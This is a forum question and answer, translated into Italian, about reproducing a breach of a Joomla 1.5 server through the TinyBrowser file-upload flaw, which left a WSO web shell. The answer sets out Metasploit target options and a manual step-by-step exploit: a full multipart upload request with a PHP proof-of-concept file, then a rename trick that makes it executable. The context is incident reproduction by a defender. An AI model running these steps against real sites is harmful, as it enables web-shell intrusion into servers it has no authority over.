Cercando di riprodurre un compromesso per il caricamento di file su Joomla

1

Dopo aver detto ai miei compagni di lavoro e al capo che avevamo una mancanza molto critica di controlli di sicurezza, alla fine ci siamo compromessi!

Avevano un Joomla 1.5 che è stato sfruttato utilizzando una vulnerabilità di caricamento dei file. È stata caricata la shell Web WSO 2.5.

Sto cercando di scoprire dov'è il parametro vulnerabile ma non ho avuto successo. Eseguendo joomscan confermo la vulnerabilità:

# 20
Info -> CorePlugin: TinyMCE TinyBrowser addon multiple vulnerabilities 
Versions effected: Joomla! 1.5.12 
Check: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
Exploit: While Joomla! team announced only File Upload vulnerability, in fact there are many. See: http://www.milw0rm.com/exploits/9296
Vulnerable? Yes

w3af riporta un possibile CSRF e un possibile ClickJacking critico perché la destinazione non ha un'intestazione X-Frame-Options. Ma non so come sfruttare entrambe le vulnerabilità per caricare correttamente un file.

Infine, ho provato il modo semplice di eseguire Metasploit, ma sto riscontrando difficoltà nell'impostare l'IP di destinazione. Il server vulnerabile non ha accesso diretto da reti esterne. Le connessioni in entrata vanno prima a un server Apache e quindi vengono reindirizzate al server Joomla. Quindi, come posso impostare l'obiettivo su Metasploit? Perché afaik, posso usare solo IP e nessun URL per RHOST (non ho usato tanto Metasploit), e l'IP punta ad Apache e non a Joomla.

Domani avrò più tempo, quindi cercherò di trovare manualmente la vulnerabilità. Cosa mi consigli di cercare?

    
posta yzT 19.02.2014 - 19:34
fonte

1 risposta

-1

Per questo modulo in Metasploit (exploit / unix / webapp / joomla_tinybrowser), è necessario indirizzare l'endpoint da cui è accessibile il sito Joomla, in questo caso il server Apache. È possibile impostare l'IP del server Apache per l'opzione RHOST e quindi il nome host richiesto per l'opzione VHOST. VHOST essenzialmente popola l'intestazione dell'Host HTTP che probabilmente permetterà all'attacco di raggiungere il "server Joomla".

La falsificazione di richieste tra siti (CSRF / XSRF) e ClickJacking non sono probabilmente correlate, sebbene possano potenzialmente essere sfruttate per indurre un utente a compiere azioni che non intendevano. Ciò non elimina la possibilità che un amministratore possa essere ingannato nel caricare una shell malevola lui stesso, sebbene non sia un vettore di attacco che ho visto personalmente.

Se il modulo Metasploit non funziona, puoi provarlo manualmente come dici tu. Non mi aspetterei che sia troppo difficile. Non sono riuscito a trovare dettagli tecnici dettagliati su questo dopo una rapida occhiata, ma ti consiglierei di ricercare intorno all'identificatore CVE del difetto (CVE-2011-4908), e / o selezionare parte del pubblico exploit.

Questo mi sembra l'advisory originale: link

Modifica: riproduzione manuale

Puoi potenzialmente utilizzare la fonte dal modulo Metasploit per capire cosa devi fare per sfruttare ( link ). Ho provato questo aspetto qui sotto, anche se questi passaggi sono non testati quindi potrebbe essere necessario qualche ritocco sono stati testati contro una nuova installazione di Joomla 1.5.12.

L'esempio presuppone link con l'istanza di Joomla in / JOOMLA /.

  1. Ottieni un codice di offuscamento, necessario per caricare i file. Invia una richiesta a http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder= . La risposta dovrebbe contenere una sorta di codice di occultamento che dovrai copiare.

    Il codice di offuscamento viene restituito come una variabile Javascript e dovrebbe apparire qualcosa di simile a questo: so.addVariable("obfus", "a5a9ee6679580855adcc39ab00000000");

  2. Quindi dobbiamo inviare qualcosa come questo per caricare uno script dannoso. Inserisci il codice di offuscamento recuperato:

    POST /JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/JOOMLA/images/stories/&type=file&feid=&obfuscate=%OBFUSCATIONCODE%&sessidpass= HTTP/1.1
    Host: www.example.com
    Content-Type: multipart/form-data; boundary=abcdef
    Content-length: 250
    
    --abcdef
    Content-Disposition: form-data; name="Filename"
    
    evil.ph.p
    --abcdef
    Content-Disposition: form-data; name="Filedata"; filename="evil.ph.p"
    Content-Type: application/octet-stream
    
    <?php echo("I've just executed PHP code!"); ?>
    --abcdef--
    
  3. Elabora il file caricato. Invia una richiesta a: http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_process.php?folder=/JOOMLA/images/stories/&type=file&feid=&filetotal=1

    NB. Ricevo un errore, ma funziona ancora così non sono sicuro se questo passaggio è richiesto o meno.

  4. Quindi, rinomina il file. Passare a http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/edit.php?type=image&folder= nel browser preferito. Seleziona "Rinomina" dal menu a discesa e rimuovi il . dalla fine del nome file non valido (ad esempio evil.ph. > evil.ph ). Fai clic su "Rinomina file" e dovresti vedere sparire il file malvagio.

  5. La tua dimostrazione del concetto dovrebbe essere a http://www.example.com/JOOMLA/images/stories/evil.php se il precedente ha funzionato correttamente.

risposta data 19.02.2014 - 21:02
fonte